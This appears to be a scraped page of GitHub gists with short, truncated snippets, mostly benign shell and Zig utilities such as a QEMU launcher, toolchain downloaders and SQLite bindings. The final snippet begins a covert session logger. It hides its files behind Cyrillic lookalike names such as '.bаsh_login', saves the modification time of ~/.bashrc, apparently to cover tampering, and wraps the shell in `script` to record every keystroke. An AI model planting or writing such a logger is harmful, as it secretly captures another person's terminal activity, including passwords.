This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| set -euxo pipefail | |
| kernel="${kernel:-kernel}" | |
| initrd="${initrd:-initramfs.cpio.gz}" | |
| target="$1" | |
| shift | |
| nsroot -xpf -- qemu-system-x86_64 \ | |
| -enable-kvm \ | |
| -m 1G \ | |
| -smp 2 \ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ip rule add fwmark 0x233 lookup 100 | |
| ip route add local 0.0.0.0/0 dev lo table 100 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| set -euxo pipefail | |
| dwpage='https://www.minecraft.net/en-us/download/server/bedrock/' | |
| dwregx='https://minecraft.azureedge.net/bin-win/bedrock-server-.*?.zip' | |
| url=$(curl "$dwpage" | grep -oP "$dwregx") | |
| curl -o bds.zip -L "$url" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const std = @import("std"); | |
| const sqlite3 = @import("./sqlite3.zig"); | |
| pub fn main() anyerror!void { | |
| var db = try sqlite3.Database.open(":memory:"); | |
| defer db.close(); | |
| var boom = db.mapTable("boom", &[_]sqlite3.TemplateDefinition{ .{ | |
| .name = "id", | |
| .decl = .integer_primary_key, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const std = @import("std"); | |
| const sqlite3 = *@Type(.Opaque); | |
| const sqlite3_stmt = *@Type(.Opaque); | |
| const sqllog = std.log.scoped(.sqlite3); | |
| extern fn sqlite3_errmsg(db: sqlite3) [*:0]const u8; | |
| extern fn sqlite3_open(path: [*:0]const u8, db: *sqlite3) c_int; | |
| extern fn sqlite3_close(db: sqlite3) c_int; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const std = @import("std"); | |
| pub const Error = error{WrongCode}; | |
| pub fn Base16(comptime map: *const [16]u8) type { | |
| return struct { | |
| pub fn calcSize(len: usize) usize { | |
| return len * 2; | |
| } | |
| pub fn encode(dst: []u8, src: []const u8) void { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const std = @import("std"); | |
| pub const HWND = *@Type(.Opaque); | |
| pub const HICON = *@Type(.Opaque); | |
| const INSTANCE = @Type(.Opaque); | |
| pub const HINSTANCE = *const INSTANCE; | |
| pub const PCWSTR = [*:0]align(1) const u16; | |
| pub const HRESULT = u64; | |
| extern "comctl32" fn TaskDialogIndirect( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| set -euxo pipefail | |
| url=$(curl -s https://ziglang.org/download/index.json | jq -r '.master."x86_64-linux".tarball') | |
| tmpf=$(mktemp /tmp/zig.XXXXXX) | |
| exec 3>"$tmpf" 4<"$tmpf" | |
| rm "$tmpf" | |
| curl "$url" >&3 | |
| tar Jxv -C /root/soft/zig --strip-components 1 <&4 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env node | |
| "use strict"; | |
| const ts = require("typescript"); | |
| function hook(fn, name) { | |
| return (path, ...args) => { | |
| path = path.replace(/\.js$/, '.tjs'); | |
| // console.log(name, path); | |
| return fn(path, ...args); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # CUSTIMIZE BEFORE UPLOAD | |
| fakerc=~/.bаsh_login | |
| logfile=~/.bаsh_cache | |
| waitsec=1 | |
| changetime=$(stat -c %Y ~/.bashrc) | |
| read script <<EOF | |
| exec script -B "$logfile" -afqc "bash --rcfile '$fakerc'" |